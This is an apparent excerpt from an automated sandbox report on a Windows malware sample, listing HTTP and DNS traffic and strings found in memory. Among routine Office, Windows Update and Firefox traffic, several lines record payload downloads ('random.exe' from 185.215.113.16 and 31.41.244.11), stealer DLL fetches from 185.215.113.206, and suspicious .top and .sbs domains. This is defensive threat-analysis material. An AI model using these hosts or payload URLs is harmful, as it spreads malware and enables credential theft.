Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=U4d3clUP7Mz9V6w&MD=dgcXYhlg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtejj5vs.top
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: fvtejj5vs.top
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: 5454ad7c1c.exe, 00000019.00000002.2576051777.0000000000D2A000.00000040.00000001.01000000.0000000F.sdmp, 5454ad7c1c.exe, 00000019.00000003.2046450259.0000000007382000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 5454ad7c1c.exe, 00000019.00000002.2576051777.0000000000D2A000.00000040.00000001.01000000.0000000F.sdmp, 5454ad7c1c.exe, 00000019.00000003.2046450259.0000000007382000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe006993001
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395:
